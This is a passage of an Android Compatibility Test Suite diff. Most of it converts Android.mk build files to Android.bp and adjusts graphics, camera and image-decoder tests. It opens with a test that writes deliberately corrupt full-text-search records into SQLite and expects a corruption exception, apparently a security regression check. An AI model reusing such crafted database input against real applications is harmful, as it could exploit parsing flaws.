+          + "(0,7,0,0,'0 24',X'00046162633803190200040178031a0200050178031b0200');");
+      mDatabase.execSQL("INSERT INTO ft_segdir VALUES"
+          + "(0,8,0,0,'0 24',X'000461626339031c0200040178031d0200050178031e0200');");
+      mDatabase.execSQL("INSERT INTO ft_segdir VALUES"
+          + "(0,9,0,0,'0 25',X'00066162633130780320020006017803210200');");
+      mDatabase.execSQL("INSERT INTO ft_segdir VALUES"
+          + "(0,10,0,0,'0 25',X'00056162633131032202000501780323020006017803240200');");
+      mDatabase.execSQL("INSERT INTO ft_segdir VALUES(1,0,1,2,'384 -42',X'0101056162633130');");
+      mDatabase.execSQL("INSERT INTO ft_stat VALUES(1,X'000b');");
+      mDatabase.execSQL("PRAGMA writable_schema=OFF;");
+      mDatabase.setTransactionSuccessful();
+      mDatabase.endTransaction();
+      try {
+          mDatabase.execSQL("INSERT INTO ft(ft) VALUES('merge=1,4');");
+      } catch (SQLiteDatabaseCorruptException e) {
+          return;
+      }
+      fail("Expecting a SQLiteDatabaseCorruptException");
+    }
+}
+
+
+
+
+
+
+
+
+
+
+
diff --git a/tests/tests/graphics/Android.bp b/tests/tests/graphics/Android.bp
new file mode 100644
index 0000000..da6558d
--- /dev/null
+++ b/tests/tests/graphics/Android.bp
@@ -0,0 +1,43 @@
+// Copyright (C) 2008 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsGraphicsTestCases",
+    defaults: ["cts_defaults"],
+    compile_multilib: "both",
+    libs: [
+        "android.test.runner.stubs",
+        "android.test.base.stubs",
+    ],
+    static_libs: [
+        "androidx.test.rules",
+        "mockito-target-minus-junit4",
+        "compatibility-device-util-axt",
+        "ctsdeviceutillegacy-axt",
+        "ctstestrunner-axt",
+        "androidx.annotation_annotation",
+        "junit",
+        "androidx.core_core",
+    ],
+    jni_libs: ["libctsgraphics_jni"],
+    srcs: ["src/**/*.java"],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    // Enforce public / test api only
+    sdk_version: "test_current",
+}
diff --git a/tests/tests/graphics/Android.mk b/tests/tests/graphics/Android.mk
deleted file mode 100644
index d3d1046..0000000
--- a/tests/tests/graphics/Android.mk
+++ /dev/null
@@ -1,51 +0,0 @@
-# Copyright (C) 2008 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-
-LOCAL_MULTILIB := both
-
-LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs
-
-LOCAL_STATIC_JAVA_LIBRARIES += \
-    androidx.test.rules \
-    mockito-target-minus-junit4 \
-    compatibility-device-util-axt \
-    ctsdeviceutillegacy-axt \
-    ctstestrunner-axt \
-    androidx.annotation_annotation \
-    junit
-
-LOCAL_STATIC_ANDROID_LIBRARIES += \
-    androidx.core_core
-
-LOCAL_JNI_SHARED_LIBRARIES := libctsgraphics_jni
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_PACKAGE_NAME := CtsGraphicsTestCases
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-# Enforce public / test api only
-LOCAL_SDK_VERSION := test_current
-
-include $(BUILD_CTS_PACKAGE)
-
-include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/tests/tests/graphics/jni/Android.bp b/tests/tests/graphics/jni/Android.bp
new file mode 100644
index 0000000..fdcbd4a
--- /dev/null
+++ b/tests/tests/graphics/jni/Android.bp
@@ -0,0 +1,59 @@
+// Copyright 2016 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+cc_test_library {
+    name: "libctsgraphics_jni",
+    gtest: false,
+    srcs: [
+        "CtsGraphicsJniOnLoad.cpp",
+        "android_graphics_cts_ANativeWindowTest.cpp",
+        "android_graphics_cts_ASurfaceTextureTest.cpp",
+        "android_graphics_cts_BasicVulkanGpuTest.cpp",
+        "android_graphics_cts_BitmapTest.cpp",
+        "android_graphics_cts_SyncTest.cpp",
+        "android_graphics_cts_CameraGpuCtsActivity.cpp",
+        "android_graphics_cts_CameraVulkanGpuTest.cpp",
+        "android_graphics_cts_MediaVulkanGpuTest.cpp",
+        "android_graphics_cts_VulkanFeaturesTest.cpp",
+        "android_graphics_cts_VulkanPreTransformCtsActivity.cpp",
+        "CameraTestHelpers.cpp",
+        "ImageReaderTestHelpers.cpp",
+        "MediaTestHelpers.cpp",
+        "NativeTestHelpers.cpp",
+        "VulkanPreTransformTestHelpers.cpp",
+        "VulkanTestHelpers.cpp",
+    ],
+    cflags: [
+        "-Wall",
+        "-Werror",
+        "-DGL_GLEXT_PROTOTYPES",
+        "-DEGL_EGLEXT_PROTOTYPES",
+    ],
+    static_libs: ["libvkjson_ndk"],
+    shared_libs: [
+        "libandroid",
+        "libvulkan",
+        "libnativewindow",
+        "libsync",
+        "liblog",
+        "libdl",
+        "libjnigraphics",
+        "libcamera2ndk",
+        "libmediandk",
+        "libEGL",
+        "libGLESv2",
+    ],
+    stl: "c++_static",
+    sdk_version: "current",
+}
diff --git a/tests/tests/graphics/jni/Android.mk b/tests/tests/graphics/jni/Android.mk
deleted file mode 100644
index 2906bf5..0000000
--- a/tests/tests/graphics/jni/Android.mk
+++ /dev/null
@@ -1,51 +0,0 @@
-# Copyright 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE := libctsgraphics_jni
-
-LOCAL_MODULE_TAGS := tests
-
-LOCAL_SRC_FILES := \
-	CtsGraphicsJniOnLoad.cpp \
-	android_graphics_cts_ANativeWindowTest.cpp \
-	android_graphics_cts_ASurfaceTextureTest.cpp \
-	android_graphics_cts_BasicVulkanGpuTest.cpp \
-	android_graphics_cts_BitmapTest.cpp \
-	android_graphics_cts_SyncTest.cpp \
-	android_graphics_cts_CameraGpuCtsActivity.cpp \
-	android_graphics_cts_CameraVulkanGpuTest.cpp \
-	android_graphics_cts_MediaVulkanGpuTest.cpp \
-	android_graphics_cts_VulkanFeaturesTest.cpp \
-	android_graphics_cts_VulkanPreTransformCtsActivity.cpp \
-	CameraTestHelpers.cpp \
-	ImageReaderTestHelpers.cpp \
-	MediaTestHelpers.cpp \
-	NativeTestHelpers.cpp \
-	VulkanPreTransformTestHelpers.cpp \
-	VulkanTestHelpers.cpp
-
-LOCAL_CFLAGS += -Wall -Werror -DGL_GLEXT_PROTOTYPES -DEGL_EGLEXT_PROTOTYPES
-
-LOCAL_STATIC_LIBRARIES := libvkjson_ndk
-LOCAL_SHARED_LIBRARIES := libandroid libvulkan libnativewindow libsync liblog libdl libjnigraphics \
-                          libcamera2ndk libmediandk libEGL libGLESv2
-LOCAL_NDK_STL_VARIANT := c++_static
-
-LOCAL_SDK_VERSION := current
-
-include $(BUILD_SHARED_LIBRARY)
diff --git a/tests/tests/graphics/res/raw/f16.png b/tests/tests/graphics/res/raw/f16.png
deleted file mode 100644
index 2c3aed2..0000000
--- a/tests/tests/graphics/res/raw/f16.png
+++ /dev/null
Binary files differ
diff --git a/tests/tests/graphics/src/android/graphics/cts/CameraVulkanGpuTest.java b/tests/tests/graphics/src/android/graphics/cts/CameraVulkanGpuTest.java
index b310978..483a17a 100644
--- a/tests/tests/graphics/src/android/graphics/cts/CameraVulkanGpuTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/CameraVulkanGpuTest.java
@@ -15,13 +15,20 @@
  */
 package android.graphics.cts;
 
+import android.content.Context;
 import android.content.pm.PackageManager;
 import android.content.res.AssetManager;
+import android.hardware.camera2.CameraManager;
+import android.hardware.camera2.CameraCharacteristics;
 import android.test.suitebuilder.annotation.SmallTest;
 
 import androidx.test.InstrumentationRegistry;
 import androidx.test.runner.AndroidJUnit4;
 
+import com.android.compatibility.common.util.PropertyUtil;
+
+import java.util.ArrayList;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
@@ -41,6 +48,32 @@
             return;
         }
 
+        if(PropertyUtil.getFirstApiLevel() < 28){
+            // HAL3 is not required for P upgrade devices.
+            return;
+        }
+
+        CameraManager camMgr =
+                (CameraManager) InstrumentationRegistry.getContext().
+                        getSystemService(Context.CAMERA_SERVICE);
+        try {
+            String[] cameraIds = camMgr.getCameraIdList();
+            ArrayList<String> mToBeTestedCameraIds = new ArrayList<String>();
+            for (String id : cameraIds) {
+                CameraCharacteristics characteristics = camMgr.getCameraCharacteristics(id);
+                int hwLevel =
+                        characteristics.get(CameraCharacteristics.INFO_SUPPORTED_HARDWARE_LEVEL);
+                if (hwLevel != CameraCharacteristics.INFO_SUPPORTED_HARDWARE_LEVEL_LEGACY) {
+                    mToBeTestedCameraIds.add(id);
+                }
+            }
+
+            // skip the test if all camera devices are legacy
+            if (mToBeTestedCameraIds.size() == 0) return;
+        } catch (IllegalArgumentException e) {
+            // This is the exception that should be thrown in this case.
+        }
+
         loadCameraAndVerifyFrameImport(InstrumentationRegistry.getContext().getAssets());
     }
 
diff --git a/tests/tests/graphics/src/android/graphics/cts/ImageDecoderTest.java b/tests/tests/graphics/src/android/graphics/cts/ImageDecoderTest.java
index 2032517..cbf1a61 100644
--- a/tests/tests/graphics/src/android/graphics/cts/ImageDecoderTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/ImageDecoderTest.java
@@ -1679,7 +1679,7 @@
         };
         Listener l = new Listener();
         SourceCreator f = mCreators[0];
-        for (int resId : new int[] { R.drawable.png_test, R.raw.f16 }) {
+        for (int resId : new int[] { R.drawable.png_test, R.raw.basi6a16 }) {
             Bitmap normal = null;
             try {
                 normal = ImageDecoder.decodeBitmap(f.apply(resId));
@@ -1705,7 +1705,7 @@
                         // We do not support 565 in HARDWARE, so no RAM savings
                         // are possible.
                         assertEquals(normalByteCount, byteCount);
-                    } else { // R.raw.f16
+                    } else { // R.raw.basi6a16
                         // This image defaults to F16. MEMORY_POLICY_LOW_RAM
                         // forces "test" to decode to 8888. But if the device
                         // does not support F16 in HARDWARE, "normal" is also
@@ -1723,10 +1723,10 @@
                         }
                     }
                 } else {
-                    // Not decoding to HARDWARE, but |normal| was. Again, if f16
+                    // Not decoding to HARDWARE, but |normal| was. Again, if basi6a16
                     // was decoded to 8888, which we can detect by looking at the color
                     // space, no savings are possible.
-                    if (resId == R.raw.f16 && !normal.getColorSpace().equals(
+                    if (resId == R.raw.basi6a16 && !normal.getColorSpace().equals(
                                 ColorSpace.get(ColorSpace.Named.LINEAR_EXTENDED_SRGB))) {
                         assertEquals(normalByteCount, byteCount);
                     } else {
@@ -1764,8 +1764,8 @@
                                    // If this were stored in drawable/, it would
                                    // be converted from 16-bit to 8. FIXME: Is
                                    // behavior still desirable now that we have
-                                   // F16? b/119760146
-                                   R.raw.f16 };
+                                   // F16?
+                                   R.raw.basi6a16 };
         // An opaque image can be converted to 565, but postProcess will promote
         // to 8888 in case alpha is added. The third image defaults to F16, so
         // even with postProcess it will only be promoted to 8888.
diff --git a/tests/tests/graphics/src/android/graphics/drawable/cts/VectorDrawableScaleTest.java b/tests/tests/graphics/src/android/graphics/drawable/cts/VectorDrawableScaleTest.java
deleted file mode 100644
index 29afaaf..0000000
--- a/tests/tests/graphics/src/android/graphics/drawable/cts/VectorDrawableScaleTest.java
+++ /dev/null
@@ -1,106 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.graphics.drawable.cts;
-
-import android.app.Activity;
-import android.content.res.Resources;
-import android.graphics.Bitmap;
-import android.graphics.BitmapFactory;
-import android.graphics.Rect;
-import android.graphics.cts.R;
-import android.view.PixelCopy;
-import android.widget.ImageView;
-
-import androidx.test.filters.MediumTest;
-import androidx.test.rule.ActivityTestRule;
-
-import com.android.compatibility.common.util.SynchronousPixelCopy;
-import com.android.compatibility.common.util.WidgetTestUtils;
-
-import org.junit.Assert;
-import org.junit.Before;
-import org.junit.Rule;
-import org.junit.Test;
-
-@MediumTest
-public class VectorDrawableScaleTest {
-    private static final boolean DBG_SCREENSHOT = false;
-    @Rule
-    public final ActivityTestRule<DrawableStubActivity> mActivityRule =
-            new ActivityTestRule<>(DrawableStubActivity.class);
-
-    private Activity mActivity = null;
-    private Resources mResources = null;
-
-    public VectorDrawableScaleTest() throws Throwable {
-    }
-
-    @Before
-    public void setup() {
-        mActivity = mActivityRule.getActivity();
-        mResources = mActivity.getResources();
-    }
-
-    @Test
-    public void testVectorDrawableInImageView() throws Throwable {
-        mActivityRule.runOnUiThread(() -> {
-            mActivity.setContentView(R.layout.vector_drawable_scale_layout);
-        });
-
-        Bitmap screenShot = null;
-        WidgetTestUtils.runOnMainAndDrawSync(mActivityRule,
-                mActivity.findViewById(R.id.scaletest),
-                () -> setupImageViews());
-        final Rect srcRect = new Rect();
-        mActivityRule.runOnUiThread(() -> {
-            mActivity.findViewById(R.id.imageview1).getGlobalVisibleRect(srcRect);
-        });
-
-        screenShot = takeScreenshot(srcRect);
-        if (DBG_SCREENSHOT) {
-            String outputFolder = mActivity.getExternalFilesDir(null).getAbsolutePath();
-            DrawableTestUtils.saveVectorDrawableIntoPNG(screenShot, outputFolder, "scale");
-        }
-
-        Bitmap golden = BitmapFactory.decodeResource(mResources,
-                R.drawable.vector_drawable_scale_golden);
-        DrawableTestUtils.compareImages("vectorDrawableScale", screenShot, golden,
-                DrawableTestUtils.PIXEL_ERROR_THRESHOLD,
-                DrawableTestUtils.PIXEL_ERROR_COUNT_THRESHOLD,
-                DrawableTestUtils.PIXEL_ERROR_TOLERANCE);
-    }
-
-    // Setup 2 imageviews, one big and one small. The purpose of this test is to make sure that the
-    // imageview with smaller scale will not affect the appearance in the imageview with larger
-    // scale.
-    private void setupImageViews() {
-        ImageView imageView = (ImageView) mActivity.findViewById(R.id.imageview1);
-        imageView.setImageResource(R.drawable.vector_icon_create);
-        imageView = (ImageView) mActivity.findViewById(R.id.imageview2);
-        imageView.setImageResource(R.drawable.vector_icon_create);
-    }
-
-    // Copy the source rectangle from the screen into the returned bitmap.
-    private Bitmap takeScreenshot(Rect srcRect) {
-        SynchronousPixelCopy copy = new SynchronousPixelCopy();
-        Bitmap dest = Bitmap.createBitmap(
-                srcRect.width(), srcRect.height(), Bitmap.Config.ARGB_8888);
-        int copyResult = copy.request(mActivity.getWindow(), srcRect, dest);
-        Assert.assertEquals(PixelCopy.SUCCESS, copyResult);
-        return dest;
-    }
-}
diff --git a/tests/tests/hardware/Android.bp b/tests/tests/hardware/Android.bp
new file mode 100644
index 0000000..703dee7
--- /dev/null
+++ b/tests/tests/hardware/Android.bp
@@ -0,0 +1,46 @@
+// Copyright (C) 2017 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsHardwareTestCases",
+    defaults: ["cts_defaults"],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    compile_multilib: "both",
+    libs: [
+        "android.test.runner.stubs",
+        "android.test.base.stubs",
+    ],
+    static_libs: [
+        "androidx.annotation_annotation",
+        "compatibility-device-util-axt",
+        "cts-input-lib",
+        "ctstestrunner-axt",
+        "mockito-target-minus-junit4",
+        "platform-test-annotations",
+        "ub-uiautomator",
+    ],
+    jni_libs: [
+        "libctshardware_jni",
+        "libnativehelper_compat_libc++",
+    ],
+    srcs: ["src/**/*.java"],
+
+    platform_apis: true,
+
+}
diff --git a/tests/tests/hardware/Android.mk b/tests/tests/hardware/Android.mk
deleted file mode 100644
index 64915d4..0000000
--- a/tests/tests/hardware/Android.mk
+++ /dev/null
@@ -1,50 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# don't include this package in any target
-LOCAL_MODULE_TAGS := tests
-# and when built explicitly put it in the data partition
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_MULTILIB := both
-
-LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    androidx.test.rules \
-    androidx.annotation_annotation \
-    compatibility-device-util-axt \
-    cts-input-lib \
-    ctstestrunner-axt \
-    mockito-target-minus-junit4 \
-    platform-test-annotations \
-    ub-uiautomator
-
-LOCAL_JNI_SHARED_LIBRARIES := libctshardware_jni libnativehelper_compat_libc++
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_PACKAGE_NAME := CtsHardwareTestCases
-LOCAL_PRIVATE_PLATFORM_APIS := true
-
-include $(BUILD_CTS_PACKAGE)
-
-include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/tests/tests/hardware/jni/Android.bp b/tests/tests/hardware/jni/Android.bp
new file mode 100644
index 0000000..e707edb
--- /dev/null
+++ b/tests/tests/hardware/jni/Android.bp
@@ -0,0 +1,32 @@
+// Copyright (C) 2017 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+cc_test_library {
+    name: "libctshardware_jni",
+    cflags: ["-Werror"],
+    gtest: false,
+    srcs: [
+        "CtsHardwareJniOnLoad.cpp",
+        "android_hardware_cts_HardwareBufferTest.cpp",
+    ],
+    shared_libs: [
+        "libandroid",
+        "libnativehelper_compat_libc++",
+        "liblog",
+    ],
+
+    stl: "libc++_static",
+
+    clang: true,
+}
diff --git a/tests/tests/hardware/jni/Android.mk b/tests/tests/hardware/jni/Android.mk
deleted file mode 100644
index 0cd95e7..0000000
--- a/tests/tests/hardware/jni/Android.mk
+++ /dev/null
@@ -1,37 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE := libctshardware_jni
-
-LOCAL_CFLAGS += -Werror
-
-LOCAL_MODULE_TAGS := tests
-
-LOCAL_SRC_FILES := \
-		CtsHardwareJniOnLoad.cpp \
-		android_hardware_cts_HardwareBufferTest.cpp
-
-LOCAL_C_INCLUDES := $(JNI_H_INCLUDE)
-
-LOCAL_SHARED_LIBRARIES := libandroid libnativehelper_compat_libc++ liblog
-
-LOCAL_CXX_STL := libc++_static
-
-LOCAL_CLANG := true
-
-include $(BUILD_SHARED_LIBRARY)
diff --git a/tests/tests/icu/OWNERS b/tests/tests/icu/OWNERS
new file mode 100644
index 0000000..2d36574
--- /dev/null
+++ b/tests/tests/icu/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 24949
+include platform/libcore:/OWNERS
diff --git a/tests/tests/jvmti/Android.mk b/tests/tests/jvmti/Android.mk
deleted file mode 100644
index 8facc9f..0000000
--- a/tests/tests/jvmti/Android.mk
+++ /dev/null
@@ -1,18 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-# Include the associated library's makefile.
-include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/tests/tests/jvmti/attaching/Android.bp b/tests/tests/jvmti/attaching/Android.bp
new file mode 100644
index 0000000..36f94a7
--- /dev/null
+++ b/tests/tests/jvmti/attaching/Android.bp
@@ -0,0 +1,36 @@
+// Copyright (C) 2017 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsJvmtiAttachingTestCases",
+    defaults: ["cts_defaults"],
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    static_libs: [
+        "ctstestrunner-axt",
+        "androidx.test.rules",
+    ],
+    compile_multilib: "both",
+    jni_libs: [
+        "libjvmtiattachingtestagent1",
+        "libjvmtiattachingtestagent2",
+        "libjvmtiattachingtestagent3",
+        "libjvmtiattachingtestagent4",
+    ],
+    srcs: ["src/**/*.java"],
+    sdk_version: "current",
+}
diff --git a/tests/tests/jvmti/attaching/Android.mk b/tests/tests/jvmti/attaching/Android.mk
deleted file mode 100644
index fb2a765..0000000
--- a/tests/tests/jvmti/attaching/Android.mk
+++ /dev/null
@@ -1,39 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_PACKAGE_NAME := CtsJvmtiAttachingTestCases
-
-LOCAL_MODULE_TAGS := optional
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner-axt androidx.test.rules
-
-LOCAL_MULTILIB := both
-LOCAL_JNI_SHARED_LIBRARIES := libjvmtiattachingtestagent1 \
-                              libjvmtiattachingtestagent2 \
-                              libjvmtiattachingtestagent3 \
-                              libjvmtiattachingtestagent4 \
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_SDK_VERSION := current
-
-include $(BUILD_CTS_PACKAGE)
-
-include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/tests/tests/jvmti/attaching/OWNERS b/tests/tests/jvmti/attaching/OWNERS
new file mode 100644
index 0000000..6e06299
--- /dev/null
+++ b/tests/tests/jvmti/attaching/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 86431
+include /hostsidetests/jvmti/run-tests/OWNERS
diff --git a/tests/tests/jvmti/attaching/jni/Android.bp b/tests/tests/jvmti/attaching/jni/Android.bp
new file mode 100644
index 0000000..8e26f86
--- /dev/null
+++ b/tests/tests/jvmti/attaching/jni/Android.bp
@@ -0,0 +1,69 @@
+// Copyright (C) 2017 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+//
+// This is the shared library included by the JNI test app.
+//
+
+cc_test_library {
+    name: "libjvmtiattachingtestagent1",
+    gtest: false,
+    srcs: ["agent.c"],
+    sdk_version: "current",
+    cflags: [
+        "-Wall",
+        "-Werror",
+        "-Wno-unused-parameter",
+        "-DAGENT_NR=1",
+    ],
+}
+
+cc_test_library {
+    name: "libjvmtiattachingtestagent2",
+    gtest: false,
+    srcs: ["agent.c"],
+    sdk_version: "current",
+    cflags: [
+        "-Wall",
+        "-Werror",
+        "-Wno-unused-parameter",
+        "-DAGENT_NR=2",
+    ],
+}
+
+cc_test_library {
+    name: "libjvmtiattachingtestagent3",
+    gtest: false,
+    srcs: ["agent.c"],
+    sdk_version: "current",
+    cflags: [
+        "-Wall",
+        "-Werror",
+        "-Wno-unused-parameter",
+        "-DAGENT_NR=3",
+    ],
+}
+
+cc_test_library {
+    name: "libjvmtiattachingtestagent4",
+    gtest: false,
+    srcs: ["agent.c"],
+    sdk_version: "current",
+    cflags: [
+        "-Wall",
+        "-Werror",
+        "-Wno-unused-parameter",
+        "-DAGENT_NR=4",
+    ],
+}
diff --git a/tests/tests/jvmti/attaching/jni/Android.mk b/tests/tests/jvmti/attaching/jni/Android.mk
deleted file mode 100644
index b0d8376..0000000
--- a/tests/tests/jvmti/attaching/jni/Android.mk
+++ /dev/null
@@ -1,44 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-#
-# This is the shared library included by the JNI test app.
-#
-
-LOCAL_PATH:= $(call my-dir)
-
-define jvmti-attaching-test-agent
-include $(CLEAR_VARS)
-
-LOCAL_MODULE := libjvmtiattachingtestagent$1
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_SRC_FILES := agent.c
-
-LOCAL_C_INCLUDES := $(JNI_H_INCLUDE)
-
-LOCAL_SDK_VERSION := current
-
-LOCAL_CFLAGS := -Wall -Werror -Wno-unused-parameter
-
-LOCAL_CFLAGS += -DAGENT_NR=$1
-
-include $(BUILD_SHARED_LIBRARY)
-endef
-
-$(eval $(call jvmti-attaching-test-agent,1))
-$(eval $(call jvmti-attaching-test-agent,2))
-$(eval $(call jvmti-attaching-test-agent,3))
-$(eval $(call jvmti-attaching-test-agent,4))
diff --git a/tests/tests/keystore/src/android/keystore/cts/KeyAttestationTest.java b/tests/tests/keystore/src/android/keystore/cts/KeyAttestationTest.java
index 8ac1dfc..e3f28fa 100644
--- a/tests/tests/keystore/src/android/keystore/cts/KeyAttestationTest.java
+++ b/tests/tests/keystore/src/android/keystore/cts/KeyAttestationTest.java
